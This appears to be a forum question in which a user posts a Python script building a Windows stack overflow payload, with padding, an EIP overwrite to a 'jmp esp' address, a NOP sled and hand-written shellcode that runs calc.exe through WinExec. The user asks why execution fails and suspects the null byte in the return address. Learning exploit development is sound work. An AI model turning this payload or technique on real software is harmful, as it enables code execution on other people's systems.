Here is my exploit:
junk = b'A' * 1032
eip = b"\xf5\x93\x4a\x00" # some address where 'jmp esp' lives
shellcode = b""
shellcode += b"\x33\xc0" # xor eax, eax
shellcode += b"\x50" # push eax
shellcode += b"\x68\x2E\x65\x78\x65" # push ".exe"
shellcode += b"\x68\x63\x61\x6C\x63" # push "calc"
shellcode += b"\x8B\xC4" # mov eax, esp
shellcode += b"\x6A\x01" # push 1
shellcode += b"\x50" # push eax
shellcode += b"\xBB\x30\xCD\x07\x77" # mov ebx, 7707cd30 (location of winexec)
shellcode += b"\xFF\xD3" # call ebx
nopsled = b"\x90" * 30
with open("exploit.txt", "wb") as file:
file.write(junk + eip + nopsled + shellcode)
EIP gets overwritten with the correct value, but it doesn't jump to the shellcode, is there something I am missing? I also tried with shellcode generated by msfvenom
and it didn't work as well, so I think the problem is not the shellcode itself. I am 99% sure the problem is the \x00
from the EIP, but how can I omit it if the address of jmp esp
contains it? There is no jmp esp
in the binary without a leading \x00
.